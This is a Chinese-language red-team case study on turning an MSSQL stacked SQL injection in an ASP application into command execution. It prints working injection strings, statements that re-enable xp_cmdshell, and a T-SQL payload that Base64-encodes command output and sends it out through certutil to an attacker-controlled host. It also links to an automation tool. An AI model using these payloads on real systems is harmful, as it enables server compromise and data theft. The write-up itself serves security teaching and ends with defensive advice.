从一个MSSQL再到命令执行的思考。
红队识别出了一个易受SQL注入攻击的外围资产(ASP/MSSQL)。通过此漏洞有可能在目标服务器上执行命令,但需要特殊的方法绕过命令过滤策略,从而获得命令的输出。
0x01、堆叠查询
其中所涉及的环境是一个使用Microsoft SQL Server作为数据库的ASP应用程序。
因为在插入单引号(‘)时,页面上会显示ODBC驱动程序缺少结束引号。多次尝试SQL查询或表达式(例如:使用“+”运算符连接),都是失败的,我们认为注入点是存储过程中调用的一个参数。为了验证这一点,我们尝试通过注入逗号来引入新的参数,这会因为参数过多而引起错误。
正如官方文档所规定的,存储过程的参数必须是常数或变量。因此我们无法使用典型的Union联合注入或盲注。替代方法:使用堆叠注入,默认情况下ASP/MSSQL是支持堆叠注入的。
堆叠注入:在执行一次查询时,通过分号(;)字符分隔,执行两条或更多的SQL语句。因此,我们可以使用基于时间的盲注从数据库中获取到信息:
基于时间的盲注从数据库中获取到信息
但在这种情况下,Web应用程序没有权限查询更多的关键信息。因此我们继续研究别的方法,例如:命令执行。
红队故事0x01:从MSSQL到命令执行https://www.secpulse.com/archives/75851.html
在MSSQL中,有一个常用的存储过程xp_cmdshell,它接收一个Windows命令,运行它并将结果以文本行的格式返回。但问题是,在这样的场景中,输出是永远不会被转储给用户,也就是说用户是看不到返回的结果的。因此,要验证命令是否正确执行,可以使用Windows中的默认实用程序: certutil.exe。
这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:
它是由Microsoft默认安装的二进制文件。
它允许建立HTTP/s连接并且是proxy-aware(使用系统中配置的代理)。
它允许在Base64或十六进制中编码/解码。
在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。
';EXEC xp_cmdshell 'certutil.exe -urlcache -f http://example.com'
服务器上有一个User-Agent请求“CertUtil URL Agent
虽然最常见的是应用程序的用户没有权限来执行存储过程xp_cmdshell (默认禁用),但由于配置错误,我们可以激活它。在这种情况下,使用以下查询来激活:
exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; exec sp_configure 'show advanced options', 0; reconfigure;
或
EXEC sp_configure 'show advanced options', 1 ; reconfigure; EXEC exec sp_configure 'xp_cmdshell', 1 ; reconfigure;
至此, ,我们已经可以看到如何绕过命令过滤策略,获得命令的输出。
0x02、传送数据的加密/解密
此时,我们已经可以执行系统命令,并向我们控制的Wbe服务器发出HTPP/s请求。综合以上两点,我们就可以通过https://redteam/[informacion_code]来获取信息。
在这种情况下,我们选择Bsae64编码而不是十六进制,因为我们需要数据库允许我们以更少的字符存储更多的信息。
我们应该遵循以下几点:
1.声明一个“表”类型的变量,让返回的结果保存在存储过程xp_cmdshell中(记住,返回的结果是多行的)。
2.将命令的输出结果存储到上一个变量中。
3.连接“表”的SQL语句,用换行符分割。
4.将生成的字符串编码为Base64,并将其保存在一个变量中。
5.生成certutil命令,将字符串添加到结果中。
6.执行
在T-SQL中没有办法直接执行第三步和第四步,但有两个小技巧来解决这个问题:
无法使用MySQL的group_concat
函数,因此所有字符串的连接都使用FOR XML子句。这样,就可以以单个字符串(XML)的形式获取数据。
SELECT columna+char(10) as 'text()' FROM tabla FOR XML path('') -- Se concatena un salto de linea al final de cada fila - char(10)
另一方面,也没有方法直接将字符串转换为Base64,但可以将Base64转换成二进制数据。因此,解决方案是将之前的字符串转换成二进制数据:
SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64
实现这一编码,还有其他的选择,比如使用XQuery。
将所有的步骤放在一起就会发现和T-SQL十分的相似:
declare @r varchar(4120),@cmdOutput varchar(4120); declare @res TABLE(line varchar(max)); insert into @res exec xp_cmdshell 'COMANDO'; set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64); set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput); exec xp_cmdshell @r;
在读取包含命令结果的表的过程中,我们需要考虑到排序规则。
0x03、自动化
这个过程被我们成功的实现了一遍,所以我们可以让它自动化的执行。为此,开发了一种工具,它为用户提供了一个提示符。然后,它生成必要的负载来运行它,同时部署一个可以接收结果的web服务器。最后,自动解码并显示出来。
自动化工具
该工具的代码作为概念测试,可在以下链接中找到: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py
0x04、结论
我们已经看到,没有对外围资产进行关键的信息处理的结果,就是它让红队能够将其转变为目标的内部网络。因此,重要的是要考虑到对这种类型漏洞的过滤强化和预警,而不仅仅是对漏洞的定期审计。
红队故事0x01:从MSSQL到命令执行
https://www.secpulse.com/archives/75851.html
本文作者:一叶知安
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/75851.html